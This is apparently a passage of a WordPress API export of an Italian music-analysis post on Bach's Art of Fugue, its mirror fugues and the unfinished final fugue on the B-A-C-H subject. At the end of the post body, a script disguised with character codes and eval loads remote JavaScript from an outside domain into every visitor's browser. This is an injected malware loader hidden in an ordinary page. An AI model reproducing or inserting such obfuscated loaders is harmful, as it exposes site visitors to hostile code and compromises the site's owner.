SKs1Sjo5Zi44c5uEemqK4uZzOwDwuNXalt9qCSOZPK551iOEHzVa9seFEMPNH1nkRxlmp01FJs\/DAH98gU1dU19GwGAAAAAABgJ3HPZgAAADicZ0YqKBteFANhKc5Sc1+IQxDOZgAAABjBMyMVlA0vioGwFGcpBzDw52wGAACAMTwzUkHZ8KIYCEtxlvJWGf6an81YSAAAAPzkgZEKyoYXxUBYihOo0P5sxgkNAAAA3zwqUkHZ8KIYCEtxAhV6nc3YkgAAAHjnOZEKyoYXxUBYihOo0PFsxgkNAAAAL54QqaBseFEMhKU4gQrdz2bsTQAAAPx5dUUVZcOLYgBgJyPOZvx2AgAA4NmQCsqGF8UAwE4Gnc34+QQAADicB0MqKBteFAMAOxl3NuOEBgAA4GQeCamgbHhRDADsZPTZjN9RAACAM3kepIKyAQC21OAWx\/EMAAAAtzwMUkHZAABbanyL43gGAACAnzwJUkHZAABb6nWL43gGAACAdx4DqaBsAIAtdb\/FcTwDAADAn5fsVFE2AMCWBt3iOJ4BAAA4nAdAKigbAGBLQ29xHM8AAAAcy9MfFZQNALClCbc4zmYAAAAO5OmPCsoGANjStFscxzMAAAAAAMCBZh6KOJ4BAAAAAABOM\/lExNkMAAAAAABwlBAnIo5nAAAAAACAQ0Q5DnE2AwAAAAAAnMBxCAAAAAAAwDjOZgAAAAAAAMZxNgMAAAAAADCOsxkAAAAAAIBxnM0AAAAAAACM42wGAAAAAABgnP8HvsBmpQPfpNoAAAAASUVORK5CYII=\" width=\"787\" height=\"145\" \/><\/p>\n<p style=\"text-align: justify;\"><i><i> <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-15.mp3\">Bach 15<\/a><\/i><\/i><\/p>\n<p style=\"text-align: justify;\">Fughe <i>a specchio<\/i> (<i>rectus-inversus<\/i>),<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-248 alignnone\" alt=\"Bach 16\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-16.png\" width=\"706\" height=\"636\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-16.png 1962w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-16-300x270.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-16-1024x921.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-16-624x561.png 624w\" sizes=\"auto, (max-width: 706px) 100vw, 706px\" \/><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-16.mp3\">Bach 16<\/a><\/p>\n<p style=\"text-align: justify;\">fino ad arrivare a quella finale, il brano incompiuto (Fuga XV, di fatto il ventitreesimo numero dell\u2019opera), dove compaiono tre soggetti nuovi, l\u2019ultimo dei quali \u00e8 quello \u2013 sopra riportato \u2013 sul nome di Bach.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-17bis.png\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-199 alignnone\" alt=\"Bach 17bis\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-17bis.png\" width=\"322\" height=\"67\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-17bis.png 893w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-17bis-300x62.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-17bis-624x129.png 624w\" sizes=\"auto, (max-width: 322px) 100vw, 322px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-17.mp3\">Bach 17<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-18bis.png\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-200 alignnone\" alt=\"Bach 18bis\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-18bis.png\" width=\"762\" height=\"80\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-18bis.png 2649w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-18bis-300x31.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-18bis-1024x107.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-18bis-624x65.png 624w\" sizes=\"auto, (max-width: 762px) 100vw, 762px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-18.mp3\">Bach 18<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-1.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"Bach 1\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-1.png\" width=\"338\" height=\"90\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-1.mp3\">Bach 1<\/a><\/p>\n<p style=\"text-align: justify;\">Con tutta probabilit\u00e0 fra gli intenti di Bach c\u2019era quello di inserire, come quarto Soggetto, quello principale de <i>L\u2019Arte della fuga<\/i>: infatti, se proviamo a mettere in stretto tutte e quattro le voci, con i quattro temi diversi, ci accorgiamo che questo risulta del tutto possibile.<\/p>\n<p style=\"text-align: justify;\">E certo non per caso.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-191.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-244 alignnone\" alt=\"Bach 19\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-191.png\" width=\"787\" height=\"266\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-191.png 2733w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-191-300x101.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-191-1024x346.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-191-624x210.png 624w\" sizes=\"auto, (max-width: 787px) 100vw, 787px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-19.mp3\">Bach 19<\/a><\/p>\n<p style=\"text-align: justify;\">Nel manoscritto si legge, di pugno di Carl Philipp Emanuel, figlio di Bach: <i>\u201cN.B. Durante questa fuga, nel punto in cui il nome B.A.C.H. veniva esposto come controsoggetto, il compositore mor\u00ec\u201d.<\/i><\/p>\n<p align=\"right\">\u00a0Carlo Deri, 2004<\/p>\n<p>\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/p>\n<address><i><i>Il testo della presente analisi \u2013 qui riportato con il gentile permesso dell\u2019Editore \u2013 \u00e8 stato pubblicato<\/i>\u00a0in<\/i><\/address>\n<address>Renzo Cresti: Ipertesto di Storia della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2004 <i>e in<\/i><\/address>\n<address>Renzo Cresti: La Vita della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2008<\/address>\n<address>\u00a0<\/address>\n<address><a href=\"http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42\">http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42<\/a><\/address>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il fatto che J.S. Bach (1685 &#8211; 1750) non abbia indicato la destinazione strumentale dell\u2019ultima sua composizione \u2013 il lavoro \u00e8 rimasto incompleto al ventitreesimo numero, per alcuni commentatori effettivamente [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-45","post","type-post","status-publish","format-standard","hentry","category-studi-e-analisi","has_no_thumb"],"_links":{"self":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/45","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=45"}],"version-history":[{"count":45,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/45\/revisions"}],"predecessor-version":[{"id":835,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/45\/revisions\/835"}],"wp:attachment":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=45"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=45"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=45"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}